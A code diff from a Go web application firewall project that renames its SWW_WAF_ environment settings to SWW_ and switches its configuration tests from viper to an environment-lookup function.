// character while ntfySet, SWW_WAF_ALERT_NTFY_URL being set: ntfy is sent
// character while ntfySet, SWW_ALERT_NTFY_URL being set: ntfy is sent
// the instance name in a header, which cannot hold one.
func (e *environment) checkInstanceNameForNtfy(
instanceName string,
ntfySet bool,
) {
if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) {
e.check("SWW_WAF_INSTANCE_NAME", fmt.Errorf(
"%q %w, and is sent to ntfy in a header while SWW_WAF_ALERT_NTFY_URL is set",
e.check("SWW_INSTANCE_NAME", fmt.Errorf(
"%q %w, and is sent to ntfy in a header while SWW_ALERT_NTFY_URL is set",
instanceName, errControlCharacter))
}
}
// webhookURL reads a setting that is a URL each alert is posted to:
// SWW_WAF_ALERT_WEBHOOK_URL, SWW_WAF_ALERT_SLACK_WEBHOOK_URL or
// SWW_WAF_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted
// SWW_ALERT_WEBHOOK_URL, SWW_ALERT_SLACK_WEBHOOK_URL or
// SWW_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted
// there. The log shows ******** in place of its path and query, and an
// error shows none of it, since a webhook or an ntfy topic can carry its
// secret there.
@@ -1954,7 +1942,7 @@ func parseCountry(value string) (string, error) {
// ParseASN reads an AS number such as AS64496, in either case, and
// returns it as the lookup gives it: AS and the number, in capitals and
// without leading zeros. The file SWW_WAF_ASN_LIMIT_PERCENT_URL names is
// without leading zeros. The file SWW_ASN_LIMIT_PERCENT_URL names is
// read with it too.
func ParseASN(value string) (string, error) {
digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS")
@@ -1981,7 +1969,7 @@ const (
ExploitSignatureTag = "exploitsignature"
)
// TagList is an address list of SWW_WAF_TAG_LISTS: the tag it adds to the
// TagList is an address list of SWW_TAG_LISTS: the tag it adds to the
// requests of the clients it holds, and the URL it is fetched from.
type TagList struct {
Name string
@@ -2174,7 +2162,7 @@ func parsePercents(
}
// ParsePercent reads a percentage, a whole number from 0 to 100. The file
// SWW_WAF_ASN_LIMIT_PERCENT_URL names is read with it too.
// SWW_ASN_LIMIT_PERCENT_URL names is read with it too.
func ParsePercent(value string) (int64, error) {
percent, err := strconv.ParseInt(value, 10, 64)
if err != nil || percent < 0 || percent > 100 {
@@ -2405,7 +2393,7 @@ const (
maxLabelLength = 63
// labelChars are the characters a label of a DNS zone may hold.
labelChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"
// dnsPort is the port a resolver is asked on when SWW_WAF_DNSBL_RESOLVER
// dnsPort is the port a resolver is asked on when SWW_DNSBL_RESOLVER
// gives none.
dnsPort = 53
)
internal/config/config_test.go
+148 -150
View File
@@ -17,109 +17,106 @@ import (
"testing"
"time"
"github.com/spf13/viper"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
)
// The settings, by name.
const (
listenAddr = "SWW_WAF_LISTEN_ADDR"
mode = "SWW_WAF_MODE"
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
allowNets = "SWW_WAF_ALLOW_NETS"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_WAF_DENY_NETS"
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerHour = "SWW_WAF_RATE_LIMIT_PER_HOUR"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
bytesCount = "SWW_WAF_BYTES_COUNT"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
tagLists = "SWW_WAF_TAG_LISTS"
tagDeny = "SWW_WAF_TAG_DENY"
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
blocklistURLs = "SWW_WAF_BLOCKLIST_URLS"
blocklistRefresh = "SWW_WAF_BLOCKLIST_REFRESH"
blocklistAction = "SWW_WAF_BLOCKLIST_ACTION"
dnsblZones = "SWW_WAF_DNSBL_ZONES"
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY"
abuseIPDBMinScore = "SWW_WAF_ABUSEIPDB_MIN_SCORE"
abuseIPDBDailyBudget = "SWW_WAF_ABUSEIPDB_DAILY_BUDGET"
reputationAction = "SWW_WAF_REPUTATION_ACTION"
reputationCacheTTL = "SWW_WAF_REPUTATION_CACHE_TTL"
reputationTimeout = "SWW_WAF_REPUTATION_TIMEOUT"
routeWatchURL = "SWW_WAF_ROUTEWATCH_URL"
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
banResponse = "SWW_WAF_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
maxBans = "SWW_WAF_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
stateDir = "SWW_WAF_STATE_DIR"
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_WAF_METRICS_TOP_N"
instanceName = "SWW_WAF_INSTANCE_NAME"
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
logLevel = "SWW_WAF_LOG_LEVEL"
rulesDir = "SWW_WAF_RULES_DIR"
rulesEnabled = "SWW_WAF_RULES_ENABLED"
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
wafParanoiaLevel = "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
exclusionsFile = "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"
trapPaths = "SWW_WAF_TRAP_PATHS"
errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_WAF_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWW_WAF_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWW_WAF_LOG_REMOTE_BUFFER"
logRemoteFacility = "SWW_WAF_LOG_REMOTE_FACILITY"
logRemoteAppName = "SWW_WAF_LOG_REMOTE_APP_NAME"
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
alertWebhookHeaders = "SWW_WAF_ALERT_WEBHOOK_HEADERS"
alertSlackWebhookURL = "SWW_WAF_ALERT_SLACK_WEBHOOK_URL"
alertNtfyURL = "SWW_WAF_ALERT_NTFY_URL"
alertNtfyToken = "SWW_WAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
alertEvents = "SWW_WAF_ALERT_EVENTS"
alertCooldown = "SWW_WAF_ALERT_COOLDOWN"
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WAF_WATCH_NETS"
listenAddr = "SWW_LISTEN_ADDR"
mode = "SWW_MODE"
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
allowNets = "SWW_ALLOW_NETS"
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_DENY_NETS"
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
rateLimitPerHour = "SWW_RATE_LIMIT_PER_HOUR"
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
bytesCount = "SWW_BYTES_COUNT"
lookupSource = "SWW_LOOKUP_SOURCE"
lookupDBPath = "SWW_LOOKUP_DB_PATH"
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
tagLists = "SWW_TAG_LISTS"
tagDeny = "SWW_TAG_DENY"
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
blocklistURLs = "SWW_BLOCKLIST_URLS"
blocklistRefresh = "SWW_BLOCKLIST_REFRESH"
blocklistAction = "SWW_BLOCKLIST_ACTION"
dnsblZones = "SWW_DNSBL_ZONES"
dnsblResolver = "SWW_DNSBL_RESOLVER"
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
abuseIPDBMinScore = "SWW_ABUSEIPDB_MIN_SCORE"
abuseIPDBDailyBudget = "SWW_ABUSEIPDB_DAILY_BUDGET"
reputationAction = "SWW_REPUTATION_ACTION"
reputationCacheTTL = "SWW_REPUTATION_CACHE_TTL"
reputationTimeout = "SWW_REPUTATION_TIMEOUT"
routeWatchURL = "SWW_ROUTEWATCH_URL"
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
banResponse = "SWW_BAN_RESPONSE"
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_MAX_BAN_DURATION"
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
maxBans = "SWW_MAX_BANS"
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
stateDir = "SWW_STATE_DIR"
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_METRICS_TOP_N"
instanceName = "SWW_INSTANCE_NAME"
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
logLevel = "SWW_LOG_LEVEL"
rulesDir = "SWW_RULES_DIR"
rulesEnabled = "SWW_RULES_ENABLED"
wafMode = "SWW_WAF_MODE"
wafParanoiaLevel = "SWW_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWW_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWW_LOG_REMOTE_BUFFER"
logRemoteFacility = "SWW_LOG_REMOTE_FACILITY"
logRemoteAppName = "SWW_LOG_REMOTE_APP_NAME"
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertWebhookHeaders = "SWW_ALERT_WEBHOOK_HEADERS"
alertSlackWebhookURL = "SWW_ALERT_SLACK_WEBHOOK_URL"
alertNtfyURL = "SWW_ALERT_NTFY_URL"
alertNtfyToken = "SWW_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
alertEvents = "SWW_ALERT_EVENTS"
alertCooldown = "SWW_ALERT_COOLDOWN"
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WATCH_NETS"
)
// The anomaly thresholds: each of the prefixes below, which name a scope,
// followed by each of the four ends.
const (
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
watch = "SWW_WAF_WATCH_"
anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWW_ANOMALY_TOTAL_"
watch = "SWW_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR"
@@ -160,21 +157,21 @@ func loggedAnomalyDefaults() map[string]string {
return logged
}
// defaultAlertEvents is the default of SWW_WAF_ALERT_EVENTS, and
// defaultAlertCooldown that of SWW_WAF_ALERT_COOLDOWN.
// defaultAlertEvents is the default of SWW_ALERT_EVENTS, and
// defaultAlertCooldown that of SWW_ALERT_COOLDOWN.
const (
defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," +
"source_failure,file_error"
defaultAlertCooldown = "15m"
)
// defaultReputationCacheTTL is the default of SWW_WAF_REPUTATION_CACHE_TTL.
// defaultReputationCacheTTL is the default of SWW_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWW_WAF_CORE_RULE_SET_DISABLED_RULES.
// defaultWAFDisabledRules is the default of SWW_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWW_WAF_LOG_REQUEST_HEADERS.
// defaultLogRequestHeaders is the default of SWW_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range"
@@ -199,8 +196,8 @@ const (
otherToken = "fedcba9876543210fedcba9876543210"
)
// instance is an SWW_WAF_INSTANCE_NAME that is a valid app name too, and
// remoteURL an SWW_WAF_LOG_REMOTE_URL, for the tests that send the lines.
// instance is an SWW_INSTANCE_NAME that is a valid app name too, and
// remoteURL an SWW_LOG_REMOTE_URL, for the tests that send the lines.
const (
instance = "fsn1app1/blog"
remoteURL = "syslog+udp://192.0.2.1:514"
@@ -215,7 +212,7 @@ const enabled = "true"
// disabled is false, as a setting's value.
const disabled = "false"
// defaultLookupSource is the default of SWW_WAF_LOOKUP_SOURCE, and
// defaultLookupSource is the default of SWW_LOOKUP_SOURCE, and
// fileSource the source that is the lookup database.
const (
defaultLookupSource = "geojs"
@@ -225,16 +222,18 @@ const (
// environment is a set of environment variables, for FromEnvironment.
type environment map[string]string
// viper returns a viper holding each of the variables.
func (e environment) viper() *viper.Viper {
return configtest.Viper(e)
// lookupEnv reads one of the variables, as os.LookupEnv does.
func (e environment) lookupEnv(name string) (string, bool) {
value, ok := e[name]
return value, ok
}
// fromEnvironment reads the settings from env, which must be valid.
func fromEnvironment(t *testing.T, env environment) *config.Config {
t.Helper()
cfg, err := config.FromEnvironment(env.viper())
cfg, err := config.FromEnvironment(env.lookupEnv)
if err != nil {
t.Fatalf("settings %v: %v", env, err)
}
@@ -463,7 +462,7 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(
environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.viper())
environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.lookupEnv)
want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` +
`starting with /, such as /assets/`
@@ -518,7 +517,7 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -647,7 +646,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -772,7 +771,7 @@ func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) {
{logRemoteAppName, ""}, {logRemoteAppName, "my app"},
{logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)},
} {
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("%s=%q: error %v, want one naming it", tc.name, tc.value, err)
}
@@ -789,7 +788,7 @@ func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) {
t.Fatalf("write %s: %v", caFile, err)
}
_, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.viper())
_, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.lookupEnv)
want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate`
if err == nil || err.Error() != want {
@@ -804,7 +803,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) {
sending := environment{logRemoteURL: remoteURL, instanceName: spaced}
_, err := config.FromEnvironment(sending.viper())
_, err := config.FromEnvironment(sending.lookupEnv)
want := logRemoteAppName + `: is unset, and ` + instanceName +
` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` +
@@ -834,7 +833,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
logRemoteURL: remoteURL,
instanceName: instance,
logRemoteAppName: "my app",
}.viper())
}.lookupEnv)
want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
`characters without a space, such as blog`
@@ -965,7 +964,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
// An item that is not a header is named by its place, not shown.
_, err := config.FromEnvironment(environment{
alertWebhookHeaders: "X-Team:ops," + secret,
}.viper())
}.lookupEnv)
want := alertWebhookHeaders + ": item 2 is not a header name followed by : " +
"and the header's value, such as Authorization:Bearer <token>"
@@ -1002,7 +1001,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
"ftp://hooks.example/services/" + secret,
"https://hooks.example/services/%zz" + secret,
} {
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.viper())
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv)
want := alertWebhookURL + ": is not an http or https URL without a user or " +
"a fragment, such as https://alerts.example/sww"
@@ -1053,7 +1052,7 @@ func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt(t *testing.
"set": {alertNtfyToken: token + "\r"},
"in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")},
} {
_, err := config.FromEnvironment(env.viper())
_, err := config.FromEnvironment(env.lookupEnv)
want := alertNtfyToken + ": holds a control character, such as the " +
"carriage return of a Windows line end"
@@ -1070,7 +1069,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin
_, err := config.FromEnvironment(environment{
instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts",
}.viper())
}.lookupEnv)
want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` +
`carriage return of a Windows line end, and is sent to ntfy in a header ` +
@@ -1095,7 +1094,7 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) {
"set": {instanceName: latin1},
"in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")},
} {
_, err := config.FromEnvironment(env.viper())
_, err := config.FromEnvironment(env.lookupEnv)
want := instanceName + `: "caf\xe9" is not valid UTF-8`
if err == nil || err.Error() != want {
@@ -1110,10 +1109,9 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
_, err := config.FromEnvironment(environment{
tagDeny: "country=cn,country=ru",
allowedCountries: "de,RU",
}.viper())
}.lookupEnv)
if err == nil {
t.Fatal("ru in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and " +
"SWW_WAF_TAG_DENY was accepted")
t.Fatal("ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted")
}
if !strings.HasPrefix(err.Error(), allowedCountries+": ") ||
@@ -1173,7 +1171,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it",
},
} {
_, err := config.FromEnvironment(tc.env.viper())
_, err := config.FromEnvironment(tc.env.lookupEnv)
if err == nil || err.Error() != tc.want {
t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want)
}
@@ -1202,7 +1200,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
_, err := config.FromEnvironment(environment{
lookupSource: off, name: value,
}.viper())
}.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), name+": ") ||
!strings.Contains(err.Error(), lookupSource+" is off") {
t.Errorf("error %v, want one naming %s and %s", err, name, lookupSource)
@@ -1211,7 +1209,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
}
// Set empty, the lists need nothing looked up, and nor does
// SWW_WAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
// SWW_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
// lookup does not give, an anomaly threshold per AS number that is off,
// any other anomaly threshold, or a blocklist.
env := environment{
@@ -1353,7 +1351,7 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -1447,14 +1445,14 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
{environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny},
{environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny},
} {
_, err := config.FromEnvironment(stopped.env.viper())
_, err := config.FromEnvironment(stopped.env.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") {
t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name)
}
}
badURL := environment{routeWatchURL: "ftp://routewatch.example"}
_, err := config.FromEnvironment(badURL.viper())
_, err := config.FromEnvironment(badURL.lookupEnv)
want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` +
"without a user or a fragment, such as https://routewatch.example"
@@ -1509,7 +1507,7 @@ func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(tc.env.viper())
_, err := config.FromEnvironment(tc.env.lookupEnv)
switch {
case tc.want == "" && err != nil:
@@ -1547,7 +1545,7 @@ func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) {
{tagLimitPercent, tag + ":50," + tag + " :25", twice},
{tagLimitPercent, tag + ":50,,", emptyItem},
} {
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -1569,7 +1567,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
{
"the CrowdSec decision list", lapi + "/v1/decisions",
environment{"SWW_WAF_CROWDSEC_LAPI_URL": lapi, "SWW_WAF_CROWDSEC_LAPI_KEY": "key"},
environment{"SWW_CROWDSEC_LAPI_URL": lapi, "SWW_CROWDSEC_LAPI_KEY": "key"},
},
} {
t.Run(tc.name, func(t *testing.T) {
@@ -1577,10 +1575,10 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
tc.env[tagLists] = "dup=" + tc.listURL
want := tagLists + `: "` + tc.listURL + `" is in SWW_WAF_BLOCKLIST_URLS, is ` +
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
want := tagLists + `: "` + tc.listURL + `" is in SWW_BLOCKLIST_URLS, is ` +
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
_, err := config.FromEnvironment(tc.env.viper())
_, err := config.FromEnvironment(tc.env.lookupEnv)
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
@@ -1649,7 +1647,7 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -1667,7 +1665,7 @@ const (
asnURL = "https://lists.example/asn.txt"
)
// The actions of SWW_WAF_BLOCKLIST_ACTION, as Config gives them.
// The actions of SWW_BLOCKLIST_ACTION, as Config gives them.
const (
actionDeny = "deny"
actionLimit = "limit"
@@ -1746,7 +1744,7 @@ func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -1761,9 +1759,9 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
_, err := config.FromEnvironment(environment{
blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL,
}.viper())
}.lookupEnv)
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_WAF_BLOCKLIST_URLS too`
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_BLOCKLIST_URLS too`
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
@@ -1888,7 +1886,7 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -1956,7 +1954,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
{spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`},
{spamhaus + ",,", "has an empty item in its list"},
} {
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.viper())
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv)
want := dnsblZones + ": " + tc.want
if err == nil || err.Error() != want {
@@ -2009,7 +2007,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
@@ -2066,7 +2064,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080"
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
`SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too`
